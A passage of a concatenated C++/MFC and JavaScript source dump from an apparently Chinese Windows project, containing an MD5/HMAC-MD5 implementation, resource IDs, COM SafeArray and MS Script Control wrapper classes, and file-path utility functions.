        I = md5_ff(I, H, G, J, K[C + 7], 22, -45705983);
        J = md5_ff(J, I, H, G, K[C + 8], 7, 1770035416);
        G = md5_ff(G, J, I, H, K[C + 9], 12, -1958414417);
        H = md5_ff(H, G, J, I, K[C + 10], 17, -42063);
        I = md5_ff(I, H, G, J, K[C + 11], 22, -1990404162);
        J = md5_ff(J, I, H, G, K[C + 12], 7, 1804603682);
        G = md5_ff(G, J, I, H, K[C + 13], 12, -40341101);
        H = md5_ff(H, G, J, I, K[C + 14], 17, -1502002290);
        I = md5_ff(I, H, G, J, K[C + 15], 22, 1236535329);
        J = md5_gg(J, I, H, G, K[C + 1], 5, -165796510);
        G = md5_gg(G, J, I, H, K[C + 6], 9, -1069501632);
        H = md5_gg(H, G, J, I, K[C + 11], 14, 643717713);
        I = md5_gg(I, H, G, J, K[C + 0], 20, -373897302);
        J = md5_gg(J, I, H, G, K[C + 5], 5, -701558691);
        G = md5_gg(G, J, I, H, K[C + 10], 9, 38016083);
        H = md5_gg(H, G, J, I, K[C + 15], 14, -660478335);
        I = md5_gg(I, H, G, J, K[C + 4], 20, -405537848);
        J = md5_gg(J, I, H, G, K[C + 9], 5, 568446438);
        G = md5_gg(G, J, I, H, K[C + 14], 9, -1019803690);
        H = md5_gg(H, G, J, I, K[C + 3], 14, -187363961);
        I = md5_gg(I, H, G, J, K[C + 8], 20, 1163531501);
        J = md5_gg(J, I, H, G, K[C + 13], 5, -1444681467);
        G = md5_gg(G, J, I, H, K[C + 2], 9, -51403784);
        H = md5_gg(H, G, J, I, K[C + 7], 14, 1735328473);
        I = md5_gg(I, H, G, J, K[C + 12], 20, -1926607734);
        J = md5_hh(J, I, H, G, K[C + 5], 4, -378558);
        G = md5_hh(G, J, I, H, K[C + 8], 11, -2022574463);
        H = md5_hh(H, G, J, I, K[C + 11], 16, 1839030562);
        I = md5_hh(I, H, G, J, K[C + 14], 23, -35309556);
        J = md5_hh(J, I, H, G, K[C + 1], 4, -1530992060);
        G = md5_hh(G, J, I, H, K[C + 4], 11, 1272893353);
        H = md5_hh(H, G, J, I, K[C + 7], 16, -155497632);
        I = md5_hh(I, H, G, J, K[C + 10], 23, -1094730640);
        J = md5_hh(J, I, H, G, K[C + 13], 4, 681279174);
        G = md5_hh(G, J, I, H, K[C + 0], 11, -358537222);
        H = md5_hh(H, G, J, I, K[C + 3], 16, -722521979);
        I = md5_hh(I, H, G, J, K[C + 6], 23, 76029189);
        J = md5_hh(J, I, H, G, K[C + 9], 4, -640364487);
        G = md5_hh(G, J, I, H, K[C + 12], 11, -421815835);
        H = md5_hh(H, G, J, I, K[C + 15], 16, 530742520);
        I = md5_hh(I, H, G, J, K[C + 2], 23, -995338651);
        J = md5_ii(J, I, H, G, K[C + 0], 6, -198630844);
        G = md5_ii(G, J, I, H, K[C + 7], 10, 1126891415);
        H = md5_ii(H, G, J, I, K[C + 14], 15, -1416354905);
        I = md5_ii(I, H, G, J, K[C + 5], 21, -57434055);
        J = md5_ii(J, I, H, G, K[C + 12], 6, 1700485571);
        G = md5_ii(G, J, I, H, K[C + 3], 10, -1894986606);
        H = md5_ii(H, G, J, I, K[C + 10], 15, -1051523);
        I = md5_ii(I, H, G, J, K[C + 1], 21, -2054922799);
        J = md5_ii(J, I, H, G, K[C + 8], 6, 1873313359);
        G = md5_ii(G, J, I, H, K[C + 15], 10, -30611744);
        H = md5_ii(H, G, J, I, K[C + 6], 15, -1560198380);
        I = md5_ii(I, H, G, J, K[C + 13], 21, 1309151649);
        J = md5_ii(J, I, H, G, K[C + 4], 6, -145523070);
        G = md5_ii(G, J, I, H, K[C + 11], 10, -1120210379);
        H = md5_ii(H, G, J, I, K[C + 2], 15, 718787259);
        I = md5_ii(I, H, G, J, K[C + 9], 21, -343485551);
        J = safe_add(J, E);
        I = safe_add(I, D);
        H = safe_add(H, B);
        G = safe_add(G, A)
    }
    if (mode == 16) {
        return Array(I, H)
    } else {
        return Array(J, I, H, G)
    }
}
function md5_cmn(F, C, B, A, E, D) {
    return safe_add(bit_rol(safe_add(safe_add(C, F), safe_add(A, D)), E), B)
}
function md5_ff(C, B, G, F, A, E, D) {
    return md5_cmn((B & G) | ((~B) & F), C, B, A, E, D)
}
function md5_gg(C, B, G, F, A, E, D) {
    return md5_cmn((B & F) | (G & (~F)), C, B, A, E, D)
}
function md5_hh(C, B, G, F, A, E, D) {
    return md5_cmn(B ^ G ^ F, C, B, A, E, D)
}
function md5_ii(C, B, G, F, A, E, D) {
    return md5_cmn(G ^ (B | (~F)), C, B, A, E, D)
}
function core_hmac_md5(C, F) {
    var E = str2binl(C);
    if (E.length > 16) {
        E = core_md5(E, C.length * chrsz)
    }
    var A = Array(16),
    D = Array(16);
    for (var B = 0; B < 16; B++) {
        A[B] = E[B] ^ 909522486;
        D[B] = E[B] ^ 1549556828
    }
    var G = core_md5(A.concat(str2binl(F)), 512 + F.length * chrsz);
    return core_md5(D.concat(G), 512 + 128)
}
function safe_add(A, D) {
    var C = (A & 65535) + (D & 65535);
    var B = (A >> 16) + (D >> 16) + (C >> 16);
    return (B << 16) | (C & 65535)
}
function bit_rol(A, B) {
    return (A << B) | (A >>> (32 - B))
}
function str2binl(D) {
    var C = Array();
    var A = (1 << chrsz) - 1;
    for (var B = 0; B < D.length * chrsz; B += chrsz) {
        C[B >> 5] |= (D.charCodeAt(B / chrsz) & A) << (B % 32)
    }
    return C
}
function binl2str(C) {
    var D = "";
    var A = (1 << chrsz) - 1;
    for (var B = 0; B < C.length * 32; B += chrsz) {
        D += String.fromCharCode((C[B >> 5] >>> (B % 32)) & A)
    }
    return D
}
function binl2hex(C) {
    var B = hexcase ? "0123456789ABCDEF": "0123456789abcdef";
    var D = "";
    for (var A = 0; A < C.length * 4; A++) {
        D += B.charAt((C[A >> 2] >> ((A % 4) * 8 + 4)) & 15) + B.charAt((C[A >> 2] >> ((A % 4) * 8)) & 15)
    }
    return D
}
function binl2b64(D) {
    var C = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    var F = "";
    for (var B = 0; B < D.length * 4; B += 3) {
        var E = (((D[B >> 2] >> 8 * (B % 4)) & 255) << 16) | (((D[B + 1 >> 2] >> 8 * ((B + 1) % 4)) & 255) << 8) | ((D[B + 2 >> 2] >> 8 * ((B + 2) % 4)) & 255);
        for (var A = 0; A < 4; A++) {
            if (B * 8 + A * 6 > D.length * 32) {
                F += b64pad
            } else {
                F += C.charAt((E >> 6 * (3 - A)) & 63)
            }
        }
    }
    return F
};
/*  |xGv00|fdc64de296a9e6e4a0768719da13ecb0 */







源码/resource.h

//{{NO_DEPENDENCIES}}
// Microsoft Developer Studio generated include file.
// Used by 7QW.rc
//
#define IDD_ABOUTBOX                    100
#define IDR_MAINFRAME                   128
#define IDR_MY7QWTYPE                   129
#define IDD_DIALOG1                     130
#define IDD_DIALOG2                     131
#define IDD_DIALOG3                     132
#define IDD_DIALOG4                     133
#define IDD_DIALOG5                     135
#define IDI_MSG                         137
#define IDB_BITMAP1                     138
#define IDC_EDIT2                       1003
#define IDC_EDIT3                       1004
#define IDC_BUTTON1                     1007
#define IDC_EDIT4                       1010
#define IDC_BUTTON2                     1013
#define IDC_COMBO1                      1014
#define IDC_BUTTON6                     1017
#define IDC_BUTTON3                     1018
#define IDC_BUTTON4                     1019
#define IDC_EDIT1                       1233
#define IDC_STATIC1                     1333
#define ID_TEST                         32771
#define ID_AMF3_DECODE                  32772
#define IDM_MENU_LOGIN                  32773
#define ID_AMF3_DECODE2                 32774

// Next default values for new objects
// 
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_3D_CONTROLS                     1
#define _APS_NEXT_RESOURCE_VALUE        139
#define _APS_NEXT_COMMAND_VALUE         32775
#define _APS_NEXT_CONTROL_VALUE         1020
#define _APS_NEXT_SYMED_VALUE           101
#endif
#endif








源码/SafeArrayHelper.cpp


??/SafeArrayHelper.cpp

///////////////////////////////////////////////////////////////////////////////


//  File:       SafeArrayHelper.cpp


//  Version:    1.0


//


//  Author:     Ernest Laurentin


//  E-mail:     elaurentin@sympatico.ca


//


//  Version history


//


//  1.0 - Initial release.


///////////////////////////////////////////////////////////////////////////////


#include "stdafx.h"


#include "SafeArrayHelper.h"








///////////////////////////////////////////////////////////////////////////////


// Construction


CSafeArrayHelper::CSafeArrayHelper()


: m_pSA(NULL)


{


}








CSafeArrayHelper::~CSafeArrayHelper()


{


    Destroy();


}








///////////////////////////////////////////////////////////////////////////////


// Members








///////////////////////////////////////////////////////////////////////////////


// Create : Creates a SafeArray object


bool CSafeArrayHelper::Create(VARTYPE  vt, UINT  cDims, UINT lBound, UINT cCount)


{


    Destroy();





    if (cDims == 1) // this is somewhat faster...


        m_pSA = SafeArrayCreateVector(vt, lBound, cCount);


    else


    {


        SAFEARRAYBOUND rgsabound[1] = { 0 };


        rgsabound[0].lLbound = lBound;


        rgsabound[0].cElements = cCount;


        m_pSA = SafeArrayCreate(vt, cDims, rgsabound);


    }


    return (m_pSA != NULL);


}








///////////////////////////////////////////////////////////////////////////////


// Destroy : Destroy the safeArray object (can't destroy it object is locked)


bool CSafeArrayHelper::Destroy()


{


    if (NULL != m_pSA)


    {


        // Maybe the object is locked!


        if (SUCCEEDED(SafeArrayDestroy( m_pSA )))


            m_pSA = NULL;


    }


    return (m_pSA == NULL);


}








///////////////////////////////////////////////////////////////////////////////


// GetArray : return Safearray pointer


LPSAFEARRAY CSafeArrayHelper::GetArray()


{


    return m_pSA;


}








///////////////////////////////////////////////////////////////////////////////


// GetDimension : Get Dimemsion of the SafeArray


UINT CSafeArrayHelper::GetDimension()


{


    UINT uDim = 0;


    if (NULL != m_pSA)


        uDim = SafeArrayGetDim( m_pSA );


    return uDim;


}








///////////////////////////////////////////////////////////////////////////////


// Attach : Attach an existing SafeArray to this object


bool CSafeArrayHelper::Attach(LPSAFEARRAY psa)


{


    if (NULL != psa)    // prevent 'destroy' for null pointer


    {


        Destroy();


        m_pSA = psa;


        return true;


    }


    return false;


}








///////////////////////////////////////////////////////////////////////////////


// Detach: Detach this SafeArray


LPSAFEARRAY CSafeArrayHelper::Detach()


{


    if (NULL == m_pSA)


        return NULL;





    LPSAFEARRAY psa = m_pSA;


    m_pSA = NULL;


    return psa;


}








///////////////////////////////////////////////////////////////////////////////


// AttachFromVariant: Attach a Variant SafeArray


bool CSafeArrayHelper::AttachFromVariant(VARIANT* pVariant)


{


    if (NULL != pVariant)


    {


        if (pVariant->vt & VT_ARRAY)


        {


            LPSAFEARRAY psa = pVariant->parray;


            if (pVariant->vt & VT_BYREF)    // VB use this...


                psa = *pVariant->pparray;


            return Attach( psa );


        }


    }


    return false;


}








///////////////////////////////////////////////////////////////////////////////


// GetAsVariant


// Description: Return a variant object of this SafeArray.  This function will


//              try to represent the data based on features or size of elements


VARIANT CSafeArrayHelper::GetAsVariant()


{


    VARIANT var;


    VariantClear(&var);


    if (NULL != m_pSA)


    {


        var.vt = VT_ARRAY|VT_BYREF;


        var.pparray = &m_pSA;


        USHORT fFeatures = m_pSA->fFeatures;


        LONG cbElements = m_pSA->cbElements;


        if (fFeatures & FADF_BSTR)


            var.vt |= VT_BSTR;


        else if (fFeatures & FADF_UNKNOWN)


            var.vt |= VT_UNKNOWN;


        else if (fFeatures & FADF_DISPATCH)


            var.vt |= VT_DISPATCH;


        else if (fFeatures & FADF_VARIANT)


            var.vt |= VT_VARIANT;


        else if (fFeatures & FADF_RECORD)


            var.vt |= VT_RECORD;


        else if (fFeatures & FADF_HAVEVARTYPE)


        {


            // these are just guess based on size of element, may not be accurated...


            if (sizeof(char) == cbElements) // 1 byte


                var.vt |= VT_UI1;


            else if (sizeof(short) == cbElements) // 2 bytes


                var.vt |= VT_UI2;


            else if (sizeof(long) == cbElements) // 4 bytes -- or float (VT_R4)


                var.vt |= VT_UI4;


            else if (sizeof(double) == cbElements) // 8 bytes -- or Currency (VT_CY)


                var.vt |= VT_R8;


        }


    }


    return var;


}





///////////////////////////////////////////////////////////////////////////////


// AccessData : Get Access the SafeArray data


bool CSafeArrayHelper::AccessData(void FAR* FAR* pvData)


{


    if (NULL != m_pSA && NULL != pvData)


    {


        return (SafeArrayAccessData(m_pSA, pvData) == S_OK);


    }


    return false;


}








///////////////////////////////////////////////////////////////////////////////


// UnaccessData : Unaccess the safeArray data pointer


bool CSafeArrayHelper::UnaccessData()


{


    if (NULL != m_pSA)


    {


        return (SafeArrayUnaccessData(m_pSA) == S_OK);


    }


    return false;


}








///////////////////////////////////////////////////////////////////////////////


// Lock : Lock the SafeArray


bool CSafeArrayHelper::Lock()


{


    if (NULL != m_pSA)


    {


        return (SafeArrayLock(m_pSA) == S_OK);


    }


    return false;


}








///////////////////////////////////////////////////////////////////////////////


// Unlock : Unlock the SafeArray


bool CSafeArrayHelper::Unlock()


{


    if (NULL != m_pSA)


    {


        return (SafeArrayUnlock(m_pSA) == S_OK);


    }


    return false;


}








///////////////////////////////////////////////////////////////////////////////


// PutElement : Set element data


bool CSafeArrayHelper::PutElement(long lIndices, void FAR* vData)


{


    if (NULL != m_pSA)


    {


        return (SafeArrayPutElement(m_pSA, &lIndices, vData) == S_OK);


    }


    return false;


}








///////////////////////////////////////////////////////////////////////////////


// GetElement : Get element data


bool CSafeArrayHelper::GetElement(long lIndices, void FAR* vData)


{


    if (NULL != m_pSA)


    {


        return (SafeArrayGetElement(m_pSA, &lIndices, vData) == S_OK);


    }


    return false;


}








源码/SafeArrayHelper.h

#ifndef _SAFEARRAYHELPER_H_
#define _SAFEARRAYHELPER_H_

class CSafeArrayHelper
{
	public:
		CSafeArrayHelper();
		~CSafeArrayHelper();

	bool Create(VARTYPE  vt, UINT  cDims, UINT lBound, UINT cCount);
	bool Destroy();
	UINT GetDimension();

	bool Attach(LPSAFEARRAY psa);
	bool AttachFromVariant(VARIANT* pVariant);
	LPSAFEARRAY Detach();
	LPSAFEARRAY GetArray();
	bool AccessData(void FAR* FAR* pvData);
	bool UnaccessData();
	bool Lock();
	bool Unlock();
	bool PutElement(long lIndices, void FAR* vData);
	bool GetElement(long lIndices, void FAR* vData);
	VARIANT GetAsVariant();

	protected:
	LPSAFEARRAY	m_pSA;

	private:
};

#endif // _SAFEARRAYHELPER_H_








源码/ScriptObject.cpp


??/ScriptObject.cpp

///////////////////////////////////////////////////////////////////////////////


//  File:       ScriptObject.cpp


//  Version:    1.0


//


//  Author:     Ernest Laurentin


//  E-mail:     elaurentin@sympatico.ca


//


//  This class implements MSScript control


//  It can interface script from resource file or text file


//


//  This code may be used in compiled form in any way you desire. This


//  file may be redistributed unmodified by any means PROVIDING it is


//  not sold for profit without the authors written consent, and


//  providing that this notice and the authors name and all copyright


//  notices remains intact.


//


//  An email letting me know how you are using it would be nice as well.


//


//  This file is provided "as is" with no expressed or implied warranty.


//  The author accepts no liability for any damage/loss of business that


//  this c++ class may cause.


//


//  Version history


//


//  1.0 - Initial release.


//  1.1 - Bug fixes for VC7 and Unicode


///////////////////////////////////////////////////////////////////////////////


#include "stdafx.h"


#include <comutil.h>


#include "ScriptObject.h"








///////////////////////////////////////////////////////////////////////////////


// Construction


CScriptObject::CScriptObject()


{   


    CommonConstruct(); // will throw exception if failed


}








CScriptObject::~CScriptObject()


{


    // Destroy object- and release


    m_pScript = NULL;


}








///////////////////////////////////////////////////////////////////////////////


// Members





///////////////////////////////////////////////////////////////////////////////


// CommonConstruct


void CScriptObject::CommonConstruct()


{


    HRESULT hr = m_pScript.CreateInstance(__uuidof(ScriptControl));


    _com_util::CheckError( hr ); // will throw an exception if failed





    // will not come here if exception


    _tcscpy(m_szLanguage, LANGUAGE_DEFAULT);


    m_pScript->PutAllowUI( VARIANT_FALSE );


    m_pScript->PutLanguage( _bstr_t(m_szLanguage ) );





}








///////////////////////////////////////////////////////////////////////////////


// GetLanguage : Get current script language


LPCTSTR CScriptObject::GetLanguage()


{


    return m_szLanguage;


}








///////////////////////////////////////////////////////////////////////////////


// SetLanguage : Set current script language


void CScriptObject::SetLanguage(LPCTSTR szLanguage)


{


    _tcscpy(m_szLanguage, szLanguage);





    if (m_pScript != NULL)


    {


        m_pScript->PutLanguage( _bstr_t( szLanguage ) );


        m_pScript->Reset();


        m_FunctionList.clear();


    }


}








///////////////////////////////////////////////////////////////////////////////


// GetMethodsCount


int  CScriptObject::GetMethodsCount() const


{


    return m_FunctionList.size();


}








///////////////////////////////////////////////////////////////////////////////


// GetNameAt : Get method name at specified index


LPCTSTR CScriptObject::GetNameAt(int index)


{


    if( index >= 0 && index < m_FunctionList.size())


    {


        stl_string_list::iterator iter = m_FunctionList.begin();


        while( index > 0)


        {


            iter++;


            index--;


        }


        return (*iter).c_str();


    }


    return TEXT("");


}








///////////////////////////////////////////////////////////////////////////////


// Reset : Reset script control object


void CScriptObject::Reset()


{


    if (m_pScript != NULL)


    {


        m_pScript->Reset();





        // empty list...


        m_FunctionList.clear();


    }


}








///////////////////////////////////////////////////////////////////////////////


// GetErrorString : Get Script error string


LPCTSTR CScriptObject::GetErrorString()


{


    m_szError[0] = 0;


    if (m_pScript != NULL)


    {


        try{


            IScriptErrorPtr pError = m_pScript->GetError();


            if (pError != NULL)


            {


                _bstr_t desc  = _bstr_t("Error: ") + pError->GetDescription() + _bstr_t(", ");


                        desc += pError->GetText() + _bstr_t("; in line ");


                        desc += _bstr_t(pError->GetLine());


                int count = __min(desc.length(), ERROR_DESC_LEN); // string may be truncated...


                _tcsncpy(m_szError, (LPCTSTR) desc, count);


                m_szError[count] = 0;


               pError->Clear();


            }


        }


        catch(_com_error& e)


        {


            TRACE( (LPSTR)e.Description() );


            TRACE( (LPSTR)"\n" );


        }


    }


    return m_szError;


}








///////////////////////////////////////////////////////////////////////////////


// GetMethodsName: Get methods name list


bool CScriptObject::GetMethodsName()


{


    bool bResult = false;


    if (m_pScript != NULL)


    {


        IScriptProcedureCollectionPtr pIProcedures = m_pScript->GetProcedures();





        // empty list...


        m_FunctionList.clear();





        try{


            long count = pIProcedures->GetCount();


            for(long index=1; index <= count; index++)


            {


                IScriptProcedurePtr pIProcPtr = pIProcedures->GetItem( _variant_t(index) );


                _bstr_t name = pIProcPtr->GetName();


                m_FunctionList.insert(m_FunctionList.end(), (LPCTSTR) name );


                pIProcPtr = NULL;


            }





            bResult = true;


        }


        catch(...)


        {


            // Just catch the exception, call GetErrorString()


            // to retreive last error


        }





        pIProcedures = NULL;


    }


    return bResult;


}








///////////////////////////////////////////////////////////////////////////////


// GetScriptFunction


//      Get Script function name, this is useful for script with case sensitive


//      function name.


LPCTSTR CScriptObject::GetScriptFunction(LPCTSTR szName)


{


    stl_string_list::iterator iter = m_FunctionList.begin();


    while( iter != m_FunctionList.end() )


    {


        if ((*iter).compare(szName) == 0)


            return (*iter).c_str();


        iter++;


    }


    return TEXT("");


}








//////////////////////////////////////////////////////////////////////////


// LoadScriptResource:


//      Load a Script resource.  This function loads and insert all functions


//      and procedures to the component.  The script resource may contain comments


//      as well.  Global variables may also be defined. You may want to see the


//      script resource as a Module file in Visual Basic.


//////////////////////////////////////////////////////////////////////////


bool CScriptObject::LoadScriptResource(LPCTSTR lpName, LPCTSTR lpType, HINSTANCE hInstance )


{


    try{


        if (m_pScript)


        {


            HRSRC res = ::FindResource(hInstance, lpName, lpType);


            ASSERT( res != NULL);


            BYTE* pbytes = (BYTE*) LockResource(LoadResource(hInstance, res ));


            ASSERT( pbytes != NULL);


            _bstr_t strCode = (LPCSTR) (pbytes);


            m_pScript->AddCode( strCode );


            GetMethodsName();


            return true;


        }


    }


    catch(...)


    {


        // Just catch the exception, call GetErrorString()


        // to retreive last error


    }


    return false;


}








///////////////////////////////////////////////////////////////////////////////


// LoadScript


//      Load a Script File.  This function loads and insert all functions and


//      procedures to the component.  The script file may contain comments as well.


//      Global variables may also be define. You may want to see the script file


//      as a Module file in Visual Basic.


//      The script file is probably a simple text file (ASCII format)


///////////////////////////////////////////////////////////////////////////////


bool CScriptObject::LoadScript(LPCTSTR szFilename)


{


    HANDLE hFile = CreateFile(szFilename, GENERIC_READ, FILE_SHARE_READ,


            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);


    if (hFile != INVALID_HANDLE_VALUE)


    {


        DWORD dwSize = GetFileSize(hFile, NULL);


        if (0xFFFFFFFF != dwSize)


        {


            BYTE* pbytes = (BYTE*) GlobalAlloc(GPTR, dwSize+1);


            if (pbytes != NULL)


            {


                DWORD dwRead = 0;


                bool bResult = false;


                if (ReadFile(hFile, pbytes, dwSize, &dwRead, NULL))


                {


                    try{


                        if (m_pScript)


                        {


                            _bstr_t strCode = (LPCSTR) (pbytes);


                            m_pScript->AddCode( strCode );


                            GetMethodsName();


                            bResult = true;


                        }


                    }


                    catch(...)


                    {


                        // Just catch the exception, call GetErrorString()


                        // to retreive last error


                    }





                    GlobalFree( (HGLOBAL) pbytes);


                    CloseHandle(hFile);


                    return bResult;


                }





                GlobalFree( (HGLOBAL) pbytes);


            }


        }





        CloseHandle(hFile);


        return false;


    }





    return false;


}








///////////////////////////////////////////////////////////////////////////////


// AddScript


//      Use this function to add a script function, useful for internal use


//      not global script (resource file).


///////////////////////////////////////////////////////////////////////////////


bool CScriptObject::AddScript(LPCTSTR szCode)


{


    try {


        if (m_pScript != NULL)


        {


            ULONG ref = m_pScript->AddRef();


            _bstr_t strCode = szCode;


            m_pScript->AddCode( strCode );


            GetMethodsName();


            ref = m_pScript->Release();


            return true;


        }


    }


    catch(...)


    {


        // Just catch the exception, call GetErrorString()


        // to retreive last error


        ULONG ref = m_pScript->Release();


    }


    return false;


}








///////////////////////////////////////////////////////////////////////////////


// ExecuteStatement


//      Use this function to execute a "Sub routine" - no arguments


///////////////////////////////////////////////////////////////////////////////


bool CScriptObject::ExecuteStatement(LPCTSTR szStatement)


{


    try {


        if (m_pScript != NULL)


        {


            ULONG ref = m_pScript->AddRef();


            m_pScript->ExecuteStatement( _bstr_t(szStatement) );


            ref = m_pScript->Release();


            return true;


        }


    }


    catch(...)


    {


        // Just catch the exception, call GetErrorString()


        // to retreive last error


        ULONG ref = m_pScript->Release();


    }


    


    return false;


}








///////////////////////////////////////////////////////////////////////////////


// RunProcedure


//      Use this function to run a "Procedure" or "Function" - with arguments


///////////////////////////////////////////////////////////////////////////////


bool CScriptObject::RunProcedure(LPCTSTR szProcName, SAFEARRAY** saParameters, VARIANT* varRet)


{


    // required argument


    ASSERT( saParameters != NULL);


    ASSERT( varRet  != NULL);





    try {


        if (m_pScript != NULL)


        {


            ULONG ref = m_pScript->AddRef();


            bool  bResult = false;


            _bstr_t szFunc  = GetScriptFunction(szProcName);


            if (szFunc.length() > 0)


            {


                *varRet = m_pScript->Run(szFunc, saParameters);


                bResult = true;


            }


            ref = m_pScript->Release();


            return bResult;


        }


    }


    catch(...)


    {


        // Just catch the exception, call GetErrorString()


        // to retreive last error


        ULONG ref = m_pScript->Release();


    }


    return false;


}











源码/ScriptObject.h

/************************************************************
* FILENAME : ScriptObject.h
*
* class CScriptObject
*		This class implements MSScript control
*		It can interface script from resource file or text file
*
* INITIAL CODING : Ernest Laurentin (EL)
*************************************************************/

#ifndef _SCRIPT_OBJECT_
#define _SCRIPT_OBJECT_
#include <xstring>
#include <list>

// Add this to your stdafx.h
//#pragma warning( disable: 4786)

// Adjust the following path if required
#import "msscript.ocx" no_namespace

#define LANGUAGE_DEFAULT	_T("JScript")
#define RT_SCRIPT			_T("SCRIPT")
#define LANGUAGE_NAME_LEN	40
#define ERROR_DESC_LEN		256

using namespace std;

#ifndef _UNICODE
typedef list<string> stl_string_list;
#else
typedef list<wstring> stl_string_list;
#endif

class CScriptObject
{

// Construction
public:
	CScriptObject();
	~CScriptObject();

// Function
public:
	LPCTSTR GetLanguage();
	void SetLanguage(LPCTSTR szLanguage);
	int  GetMethodsCount() const;
	LPCTSTR GetNameAt(int index);
	void Reset();
	bool LoadScript(LPCTSTR szFilename);
	bool LoadScriptResource(LPCTSTR lpName, LPCTSTR lpType, HINSTANCE hInstance);
	bool AddScript(LPCTSTR szCode);
	LPCTSTR GetErrorString();
	bool ExecuteStatement(LPCTSTR szStatement);
	bool RunProcedure(LPCTSTR szProcName, SAFEARRAY** saParameters, VARIANT* varRet);
protected:
	void CommonConstruct();
	bool GetMethodsName();
	LPCTSTR GetScriptFunction(LPCTSTR name);

	IScriptControlPtr m_pScript;				// The one and only script control
	stl_string_list m_FunctionList;				// Function list
	TCHAR	m_szLanguage[LANGUAGE_NAME_LEN+1];	// Current language
	TCHAR	m_szError[ERROR_DESC_LEN+1];		// Description error
private:

};

#endif // _SCRIPT_OBJECT_








源码/StaticFunctions.cpp


源码/StaticFunctions.cpp

// StaticFunctions.cpp: implementation of the CStaticFunctions class.


//


//////////////////////////////////////////////////////////////////////





#include "stdafx.h"


#include "StaticFunctions.h"





#ifdef _DEBUG


#undef THIS_FILE


static char THIS_FILE[]=__FILE__;


#define new DEBUG_NEW


#endif





//////////////////////////////////////////////////////////////////////


// Construction/Destruction


//////////////////////////////////////////////////////////////////////





//日志文件全局变量


CCriticalSection CStaticFunctions::m_LogSection;


CStdioFile CStaticFunctions::m_LogFile;





CStaticFunctions::CStaticFunctions()


{


    


}





CStaticFunctions::~CStaticFunctions()


{


    


}





CString     CStaticFunctions::GetPathFileName(CString strPath)


{


    CString strFileName;


    strFileName = strPath.Right(strPath.GetLength() - strPath.ReverseFind('\\') - 1);//去掉字符串后的"\\"


    return strFileName;


}





BOOL CStaticFunctions::GetFileExt(CString strFilename,CString &strExt)


{


    if(strFilename.IsEmpty() || strFilename.Find('.') == -1)


        return FALSE;


    


    strExt = strFilename.Right(strFilename.GetLength() - strFilename.ReverseFind('.') - 1);


    


    return TRUE;


}





BOOL CStaticFunctions::IsFileExist(LPCTSTR strFileName)


{


    if(strFileName == NULL)


        return FALSE;


    


    DWORD dwAttr = ::GetFileAttributes(strFileName);


    return (dwAttr!=-1 && !(dwAttr&FILE_ATTRIBUTE_DIRECTORY) );


}





BOOL CStaticFunctions::IsPathExist(LPCTSTR strPath)


{


    if(strPath == NULL)


        return FALSE;


    


    CString t_PathName = strPath;


    t_PathName.Replace('/','\\');


    DWORD dwAttr = ::GetFileAttributes(t_PathName);


    


    return (dwAttr!=-1 && (dwAttr&FILE_ATTRIBUTE_DIRECTORY) );


}





void CStaticFunctions::GetWorkPath(CString &strPath)


{


    char FilePath[_MAX_PATH];


    DWORD dwSize = GetModuleFileName(NULL,FilePath,_MAX_PATH);


    strPath = FilePath;


    strPath = strPath.Left(strPath.ReverseFind('\\'));//去掉字符串后的"\\"


}


//和GetPathFileName函数一个功能?


CString CStaticFunctions::ParseFileName(CString strPathFullName)


{


    CString strFileName;


    


    strFileName = strPathFullName.Right(strPathFullName.GetLength() - strPathFullName.ReverseFind('\\') - 1);


    


    return strFileName;


}





BOOL CStaticFunctions::CreatePath(LPCTSTR lpszDir)


{


    if(lpszDir==NULL || _tcslen(lpszDir)==0)


        return FALSE;


    


    // base case . . .if directory exists


    if(IsPathExist(lpszDir))


        return TRUE;


    


    CString strDir(lpszDir);


    if(strDir.Right(1) == "\\")


        strDir = strDir.Left(strDir.GetLength()-1); 


    


    // recursive call, one less directory


    int nFound = strDir.ReverseFind('\\');


    CString strSubDir = strDir.Left(nFound);


    


    if(! CreatePath(strSubDir) )


        return FALSE;


    


    return ::CreateDirectory(strDir,NULL);


}








int CStaticFunctions::IsInStringArray(const CStringArray &strArr, const CString &str)


{


    int nIndex = -1;


    for (int i=0; i< strArr.GetSize(); i++)


    {


        if (str.Compare(strArr[i]) == 0)


        {


            nIndex = i;


            break;


        }


    }


    return nIndex;


}





int CStaticFunctions::IsInStringArrayNoCase(const CStringArray &strArr, const CString &str)


{


    int nIndex = -1;


    for (int i=0; i< strArr.GetSize(); i++)


    {


        if (str.CompareNoCase(strArr[i]) == 0)


        {


            nIndex = i;


            break;


        }


    }


    return nIndex;


}





void CStaticFunctions::GetWindowDisk(CString &strDisk)


{


    CString strExe;


    TCHAR pBuf[MAX_PATH];


    ::GetWindowsDirectory(pBuf,MAX_PATH);


    strExe = pBuf;


    strDisk = strExe.Left(3);   


}





void CStaticFunctions::GetWindowDir(CString &strDir)


{


    CString strExe;


    TCHAR pBuf[MAX_PATH];


    ::GetWindowsDirectory(pBuf,MAX_PATH);


    strExe = pBuf;


    strDir = strExe;


}





void CStaticFunctions::GetProgramFileDir(CString &strDir)


{


    CString strExe;


    TCHAR pBuf[MAX_PATH];


    ::GetWindowsDirectory(pBuf,MAX_PATH);


    strExe = pBuf;


    strExe = strExe.Left(3);


    strDir = strExe + _T("Program Files");


}





CString CStaticFunctions::LongPathToShort(LPCTSTR strPath)


{


    CString strShort;


    TCHAR  pBuf[MAX_PATH];


    DWORD dwLen = ::GetShortPathName(strPath,pBuf,MAX_PATH);


    if (dwLen > 0)


        strShort = pBuf;


    return strShort;


}





CString CStaticFunctions::ShortPathToLong(LPCTSTR strPath)


{


    CString strLong;


    TCHAR pBuf[MAX_PATH];


    DWORD dwLen = ::GetLongPathName(strPath,pBuf,MAX_PATH);


    if (dwLen > 0)


        strLong = pBuf;


    return strLong;


}





CString CStaticFunctions::GetLONGLONGString(LONGLONG llValue)


{


    CString strRes = "";


    char strTemp[_MAX_PATH];


    LONGLONG llTemp = llValue;


    CString strValue = "";


    BYTE bTemp = 0;


    while(llTemp > 0)


    {


        bTemp = (BYTE)(llTemp % 10);


        llTemp = llTemp / 10;


        sprintf(strTemp, "%x", bTemp);


        strValue = strTemp;


        strRes = strValue + strRes;


    }


    return strRes;


}





CString  CStaticFunctions::CombineFilePath(LPCTSTR lpszPathName, LPCTSTR lpszFileName)


{


    CString str(lpszPathName);


